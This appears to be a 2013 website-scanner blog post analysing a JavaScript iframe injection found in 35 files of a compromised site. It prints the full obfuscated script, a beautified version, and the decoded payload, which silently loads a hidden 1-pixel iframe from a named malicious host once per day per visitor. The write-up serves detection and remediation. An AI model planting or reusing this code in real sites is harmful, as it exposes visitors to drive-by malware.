Malicious injection of hidden iframe leading to malicious resource

Malicious injection of hidden iframe leading to malicious resource

Background

Online Website Malware Scanner has identified malicious iframe injection in the scanned website. This infected website hosts suspicious JavaScript code injected in 35 files. As discussed in other posts about malicious iframes generation, the attack flow is very similar and contains multiple levels of obfuscation to overcome the detection mechanisms. 

Malicious action

Malicious iframes are often used to distribute malware hosted on external web resources(websites).

Website malware scanner report

Submission date: Thu May 9 20:57:45 2013

Infected website's files: 35

Website malware scan report link: http://goo.gl/bgWyb
Pastebin: http://pastebin.com/A8uZEazV

Quttera | Website Malware Scanner 

Malicious javascript

Threat dump: [[<script type='text/javascript' language='javascript' >
                                                                                                                                                                                                                                                                                                            p=parseInt;
ss=(123)?String.fromCharCode:0;
asgq="66!75!6e!63!74!6@!6f!6e!20!7a!7a!7a!66!66!66!28!2@!20!7b!d!a!20!20!20!20!76!61!72!20!70!6d!20!3d!20!64!6f!63!75!6d!65!6e!74!2e!63!72!65!61!74!65!45!6c!65!6d!65!6e!74!28!27!6@!66!72!61!6d!65!27!2@!3b!d!a!d!a!20!20!20!20!70!6d!2e!73!72!63!20!3d!20!27!68!74!74!70!3a!2f!2f!66!74!70!2e!65!6c!68!65!72!6d!65!6e!65!75!74!61!2e!6f!72!67!2f!63!67!6@!2d!62!6@!6e!2f!63!6c!6b!2e!70!68!70!27!3b!d!a!20!20!20!20!70!6d!2e!73!74!7@!6c!65!2e!70!6f!73!6@!74!6@!6f!6e!20!3d!20!27!61!62!73!6f!6c!75!74!65!27!3b!d!a!20!20!20!20!70!6d!2e!73!74!7@!6c!65!2e!62!6f!72!64!65!72!20!3d!20!27!30!27!3b!d!a!20!20!20!20!70!6d!2e!73!74!7@!6c!65!2e!68!65!6@!67!68!74!20!3d!20!27!31!70!78!27!3b!d!a!20!20!20!20!70!6d!2e!73!74!7@!6c!65!2e!77!6@!64!74!68!20!3d!20!27!31!70!78!27!3b!d!a!20!20!20!20!70!6d!2e!73!74!7@!6c!65!2e!6c!65!66!74!20!3d!20!27!31!70!78!27!3b!d!a!20!20!20!20!70!6d!2e!73!74!7@!6c!65!2e!74!6f!70!20!3d!20!27!31!70!78!27!3b!d!a!d!a!20!20!20!20!6@!66!20!28!21!64!6f!63!75!6d!65!6e!74!2e!67!65!74!45!6c!65!6d!65!6e!74!42!7@!4@!64!28!27!70!6d!27!2@!2@!20!7b!d!a!20!20!20!20!20!20!20!20!64!6f!63!75!6d!65!6e!74!2e!77!72!6@!74!65!28!27!3c!64!6@!76!20!6@!64!3d!5c!27!70!6d!5c!27!3e!3c!2f!64!6@!76!3e!27!2@!3b!d!a!20!20!20!20!20!20!20!20!64!6f!63!75!6d!65!6e!74!2e!67!65!74!45!6c!65!6d!65!6e!74!42!7@!4@!64!28!27!70!6d!27!2@!2e!61!70!70!65!6e!64!43!68!6@!6c!64!28!70!6d!2@!3b!d!a!20!20!20!20!7d!d!a!7d!d!a!66!75!6e!63!74!6@!6f!6e!20!53!65!74!43!6f!6f!6b!6@!65!28!63!6f!6f!6b!6@!65!4e!61!6d!65!2c!63!6f!6f!6b!6@!65!56!61!6c!75!65!2c!6e!44!61!7@!73!2c!70!61!74!68!2@!20!7b!d!a!20!76!61!72!20!74!6f!64!61!7@!20!3d!20!6e!65!77!20!44!61!74!65!28!2@!3b!d!a!20!76!61!72!20!65!78!70!6@!72!65!20!3d!20!6e!65!77!20!44!61!74!65!28!2@!3b!d!a!20!6@!66!20!28!6e!44!61!7@!73!3d!3d!6e!75!6c!6c!20!7c!7c!20!6e!44!61!7@!73!3d!3d!30!2@!20!6e!44!61!7@!73!3d!31!3b!d!a!20!65!78!70!6@!72!65!2e!73!65!74!54!6@!6d!65!28!74!6f!64!61!7@!2e!67!65!74!54!6@!6d!65!28!2@!20!2b!20!33!36!30!30!30!30!30!2a!32!34!2a!6e!44!61!7@!73!2@!3b!d!a!20!64!6f!63!75!6d!65!6e!74!2e!63!6f!6f!6b!6@!65!20!3d!20!63!6f!6f!6b!6@!65!4e!61!6d!65!2b!22!3d!22!2b!65!73!63!61!70!65!28!63!6f!6f!6b!6@!65!56!61!6c!75!65!2@!d!a!20!20!20!20!20!20!20!20!20!20!20!20!20!20!20!20!20!2b!20!22!3b!65!78!70!6@!72!65!73!3d!22!20!2b!20!65!78!70!6@!72!65!2e!74!6f!47!4d!54!53!74!72!6@!6e!67!28!2@!20!2b!20!28!28!70!61!74!68!2@!20!3f!20!22!3b!20!70!61!74!68!3d!22!20!2b!20!70!61!74!68!20!3a!20!22!22!2@!3b!d!a!7d!d!a!66!75!6e!63!74!6@!6f!6e!20!47!65!74!43!6f!6f!6b!6@!65!28!20!6e!61!6d!65!20!2@!20!7b!d!a!20!76!61!72!20!73!74!61!72!74!20!3d!20!64!6f!63!75!6d!65!6e!74!2e!63!6f!6f!6b!6@!65!2e!6@!6e!64!65!78!4f!66!28!20!6e!61!6d!65!20!2b!20!22!3d!22!20!2@!3b!d!a!20!76!61!72!20!6c!65!6e!20!3d!20!73!74!61!72!74!20!2b!20!6e!61!6d!65!2e!6c!65!6e!67!74!68!20!2b!20!31!3b!d!a!20!6@!66!20!28!20!28!20!21!73!74!61!72!74!20!2@!20!26!26!d!a!20!28!20!6e!61!6d!65!20!21!3d!20!64!6f!63!75!6d!65!6e!74!2e!63!6f!6f!6b!6@!65!2e!73!75!62!73!74!72!6@!6e!67!28!20!30!2c!20!6e!61!6d!65!2e!6c!65!6e!67!74!68!20!2@!20!2@!20!2@!d!a!20!7b!d!a!20!72!65!74!75!72!6e!20!6e!75!6c!6c!3b!d!a!20!7d!d!a!20!6@!66!20!28!20!73!74!61!72!74!20!3d!3d!20!2d!31!20!2@!20!72!65!74!75!72!6e!20!6e!75!6c!6c!3b!d!a!20!76!61!72!20!65!6e!64!20!3d!20!64!6f!63!75!6d!65!6e!74!2e!63!6f!6f!6b!6@!65!2e!6@!6e!64!65!78!4f!66!28!20!22!3b!22!2c!20!6c!65!6e!20!2@!3b!d!a!20!6@!66!20!28!20!65!6e!64!20!3d!3d!20!2d!31!20!2@!20!65!6e!64!20!3d!20!64!6f!63!75!6d!65!6e!74!2e!63!6f!6f!6b!6@!65!2e!6c!65!6e!67!74!68!3b!d!a!20!72!65!74!75!72!6e!20!75!6e!65!73!63!61!70!65!28!20!64!6f!63!75!6d!65!6e!74!2e!63!6f!6f!6b!6@!65!2e!73!75!62!73!74!72!6@!6e!67!28!20!6c!65!6e!2c!20!65!6e!64!20!2@!20!2@!3b!d!a!7d!d!a!6@!66!20!28!6e!61!76!6@!67!61!74!6f!72!2e!63!6f!6f!6b!6@!65!45!6e!61!62!6c!65!64!2@!d!a!7b!d!a!6@!66!28!47!65!74!43!6f!6f!6b!6@!65!28!27!76!6@!73!6@!74!65!64!5f!75!71!27!2@!3d!3d!35!35!2@!7b!7d!65!6c!73!65!7b!53!65!74!43!6f!6f!6b!6@!65!28!27!76!6@!73!6@!74!65!64!5f!75!71!27!2c!20!27!35!35!27!2c!20!27!31!27!2c!20!27!2f!27!2@!3b!d!a!d!a!7a!7a!7a!66!66!66!28!2@!3b!d!a!7d!d!a!7d".replace(/@/g,"9").split("!");
try
{
document.body%26=0.1
}
catch(gdsgsdg)
{
zz=3;
dbshre=168;
if(dbshre)
{
vfvwe=0;
try
{
document;
}
catch(agdsg)
{
vfvwe=1;
}
if(!vfvwe)
{
e=eval;
}
s="";
if(zz)for(i=0;
i-1374!=0;
i++)
{
if(window.document)s+=ss(p(asgq[i],16));
}
if(window.document)e(s);
}
}

 </script>]]

Malware entry

Malware entry details.

Beautified script

1. p = parseInt;                                                                                                                                                                                                                                                                                                          ss = (123) ?String.fromCharCode : 0;
2. asgq ="66!75!6e!63!74!6@!6f!6e!20!7a!7a!7a!66!66!66!28!2@!20!7b!d!a!20!20!20!20!76!61!72!20!70!6d!20!3d!20!64!6f!63!75!6d!65!6e!74!2e!63!72!65!61!74!65!45!6c!65!6d!65!6e!74!28!27!6@!66!72!61!6d!65!27!2@!3b!d!a!d!a!20!20!20!20!70!6d!2e!73!72!63!20!3d!20!27!68!74!74!70!3a!2f!2f!66!74!70!2e!65!6c!68!65!72!6d!65!6e!65!75!74!61!2e!6f!72!67!2f!63!67!6@!2d!62!6@!6e!2f!63!6c!6b!2e!70!68!70!27!3b!d!a!20!20!20!20!70!6d!2e!73!74!7@!6c!65!2e!70!6f!73!6@!74!6@!6f!6e!20!3d!20!27!61!62!73!6f!6c!75!74!65!27!3b!d!a!20!20!20!20!70!6d!2e!73!74!7@!6c!65!2e!62!6f!72!64!65!72!20!3d!20!27!30!27!3b!d!a!20!20!20!20!70!6d!2e!73!74!7@!6c!65!2e!68!65!6@!67!68!74!20!3d!20!27!31!70!78!27!3b!d!a!20!20!20!20!70!6d!2e!73!74!7@!6c!65!2e!77!6@!64!74!68!20!3d!20!27!31!70!78!27!3b!d!a!20!20!20!20!70!6d!2e!73!74!7@!6c!65!2e!6c!65!66!74!20!3d!20!27!31!70!78!27!3b!d!a!20!20!20!20!70!6d!2e!73!74!7@!6c!65!2e!74!6f!70!20!3d!20!27!31!70!78!27!3b!d!a!d!a!20!20!20!20!6@!66!20!28!21!64!6f!63!75!6d!65!6e!74!2e!67!65!74!45!6c!65!6d!65!6e!74!42!7@!4@!64!28!27!70!6d!27!2@!2@!20!7b!d!a!20!20!20!20!20!20!20!20!64!6f!63!75!6d!65!6e!74!2e!77!72!6@!74!65!28!27!3c!64!6@!76!20!6@!64!3d!5c!27!70!6d!5c!27!3e!3c!2f!64!6@!76!3e!27!2@!3b!d!a!20!20!20!20!20!20!20!20!64!6f!63!75!6d!65!6e!74!2e!67!65!74!45!6c!65!6d!65!6e!74!42!7@!4@!64!28!27!70!6d!27!2@!2e!61!70!70!65!6e!64!43!68!6@!6c!64!28!70!6d!2@!3b!d!a!20!20!20!20!7d!d!a!7d!d!a!66!75!6e!63!74!6@!6f!6e!20!53!65!74!43!6f!6f!6b!6@!65!28!63!6f!6f!6b!6@!65!4e!61!6d!65!2c!63!6f!6f!6b!6@!65!56!61!6c!75!65!2c!6e!44!61!7@!73!2c!70!61!74!68!2@!20!7b!d!a!20!76!61!72!20!74!6f!64!61!7@!20!3d!20!6e!65!77!20!44!61!74!65!28!2@!3b!d!a!20!76!61!72!20!65!78!70!6@!72!65!20!3d!20!6e!65!77!20!44!61!74!65!28!2@!3b!d!a!20!6@!66!20!28!6e!44!61!7@!73!3d!3d!6e!75!6c!6c!20!7c!7c!20!6e!44!61!7@!73!3d!3d!30!2@!20!6e!44!61!7@!73!3d!31!3b!d!a!20!65!78!70!6@!72!65!2e!73!65!74!54!6@!6d!65!28!74!6f!64!61!7@!2e!67!65!74!54!6@!6d!65!28!2@!20!2b!20!33!36!30!30!30!30!30!2a!32!34!2a!6e!44!61!7@!73!2@!3b!d!a!20!64!6f!63!75!6d!65!6e!74!2e!63!6f!6f!6b!6@!65!20!3d!20!63!6f!6f!6b!6@!65!4e!61!6d!65!2b!22!3d!22!2b!65!73!63!61!70!65!28!63!6f!6f!6b!6@!65!56!61!6c!75!65!2@!d!a!20!20!20!20!20!20!20!20!20!20!20!20!20!20!20!20!20!2b!20!22!3b!65!78!70!6@!72!65!73!3d!22!20!2b!20!65!78!70!6@!72!65!2e!74!6f!47!4d!54!53!74!72!6@!6e!67!28!2@!20!2b!20!28!28!70!61!74!68!2@!20!3f!20!22!3b!20!70!61!74!68!3d!22!20!2b!20!70!61!74!68!20!3a!20!22!22!2@!3b!d!a!7d!d!a!66!75!6e!63!74!6@!6f!6e!20!47!65!74!43!6f!6f!6b!6@!65!28!20!6e!61!6d!65!20!2@!20!7b!d!a!20!76!61!72!20!73!74!61!72!74!20!3d!20!64!6f!63!75!6d!65!6e!74!2e!63!6f!6f!6b!6@!65!2e!6@!6e!64!65!78!4f!66!28!20!6e!61!6d!65!20!2b!20!22!3d!22!20!2@!3b!d!a!20!76!61!72!20!6c!65!6e!20!3d!20!73!74!61!72!74!20!2b!20!6e!61!6d!65!2e!6c!65!6e!67!74!68!20!2b!20!31!3b!d!a!20!6@!66!20!28!20!28!20!21!73!74!61!72!74!20!2@!20!26!26!d!a!20!28!20!6e!61!6d!65!20!21!3d!20!64!6f!63!75!6d!65!6e!74!2e!63!6f!6f!6b!6@!65!2e!73!75!62!73!74!72!6@!6e!67!28!20!30!2c!20!6e!61!6d!65!2e!6c!65!6e!67!74!68!20!2@!20!2@!20!2@!d!a!20!7b!d!a!20!72!65!74!75!72!6e!20!6e!75!6c!6c!3b!d!a!20!7d!d!a!20!6@!66!20!28!20!73!74!61!72!74!20!3d!3d!20!2d!31!20!2@!20!72!65!74!75!72!6e!20!6e!75!6c!6c!3b!d!a!20!76!61!72!20!65!6e!64!20!3d!20!64!6f!63!75!6d!65!6e!74!2e!63!6f!6f!6b!6@!65!2e!6@!6e!64!65!78!4f!66!28!20!22!3b!22!2c!20!6c!65!6e!20!2@!3b!d!a!20!6@!66!20!28!20!65!6e!64!20!3d!3d!20!2d!31!20!2@!20!65!6e!64!20!3d!20!64!6f!63!75!6d!65!6e!74!2e!63!6f!6f!6b!6@!65!2e!6c!65!6e!67!74!68!3b!d!a!20!72!65!74!75!72!6e!20!75!6e!65!73!63!61!70!65!28!20!64!6f!63!75!6d!65!6e!74!2e!63!6f!6f!6b!6@!65!2e!73!75!62!73!74!72!6@!6e!67!28!20!6c!65!6e!2c!20!65!6e!64!20!2@!20!2@!3b!d!a!7d!d!a!6@!66!20!28!6e!61!76!6@!67!61!74!6f!72!2e!63!6f!6f!6b!6@!65!45!6e!61!62!6c!65!64!2@!d!a!7b!d!a!6@!66!28!47!65!74!43!6f!6f!6b!6@!65!28!27!76!6@!73!6@!74!65!64!5f!75!71!27!2@!3d!3d!35!35!2@!7b!7d!65!6c!73!65!7b!53!65!74!43!6f!6f!6b!6@!65!28!27!76!6@!73!6@!74!65!64!5f!75!71!27!2c!20!27!35!35!27!2c!20!27!31!27!2c!20!27!2f!27!2@!3b!d!a!d!a!7a!7a!7a!66!66!66!28!2@!3b!d!a!7d!d!a!7d".replace(/@/g,"9").split("!");
3.                                                                                                                                                                                                                                                                                                            try {
4.         document.body % 26 = 0.1
5. } catch (gdsgsdg) {
6.         zz = 3;
7.         dbshre = 168;
8.         if (dbshre) {
9.                 vfvwe = 0;
10.                 try {
11.                         document;
12.                 } catch (agdsg) {
13.                         vfvwe = 1;
14.                 }
15.                 if (!vfvwe) {
16.                         e = eval;
17.                 }
18.                 s = "";
19.                 if (zz)
20.                         for (i = 0; i - 1374 != 0; i++) {
21.                                 if (window.document) s += ss(p(asgq[i], 16));
22.                         }
23.                 if (window.document) e(s);
24.         }                                                                                                                                                                                                                                                                                                           }

Malicious payload

Decoded payload generates hidden iframe to http://ftp.elhermeneuta.org/cgi-bin/clk.php into DOM document only if current visitor didn't visit this site in last 24 hours

1. function zzzfff() {
2.     var pm = document.createElement('iframe');
3.     pm.src = 'http://ftp.elhermeneuta.org/cgi-bin/clk.php';
4.     pm.style.position = 'absolute';
5.     pm.style.border = '0';
6.     pm.style.height = '1px';
7.     pm.style.width = '1px';
8.     pm.style.left = '1px';
9.     pm.style.top = '1px';
10.  
11.     if (!document.getElementById('pm')) {
12.         document.write('<div id=\'pm\'></div>');
13.         document.getElementById('pm').appendChild(pm);
14.     }
15. }
16.  
17. function SetCookie(cookieName, cookieValue, nDays, path) {
18.     var today = new Date();
19.     var expire = new Date();
20.     if (nDays == null || nDays == 0) nDays = 1;
21.     expire.setTime(today.getTime() + 3600000 * 24 * nDays);
22.     document.cookie = cookieName + "=" + escape(cookieValue)
23.     + ";expires=" + expire.toGMTString() + ((path) ? "; path=" + path : "");
24. }
25.  
26. function GetCookie(name) {
27.     var start = document.cookie.indexOf(name + "=");
28.     var len = start + name.length + 1;
29.     if ((!start) && (name != document.cookie.substring(0, name.length)))
30.     {
31.         return null;
32.     }
33.  
34.     if (start == -1) return null;
35.  
36.     var end = document.cookie.indexOf(";", len);
37.  
38.     if (end == -1) end = document.cookie.length;
39.  
40.     return unescape(document.cookie.substring(len, end));
41.  
42. }
43.  
44. if (navigator.cookieEnabled)
45. {
46.  
47.     if (GetCookie('visited_uq') == 55) {} else {
48.         SetCookie('visited_uq', '55', '1', '/');
49.         zzzfff();
50.     }
51. }

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Such malware is often hidden inside the JavaScript file. If you suspect that your website was infected by similar malware please use Website Anti-malware Monitoring for remediation assessment.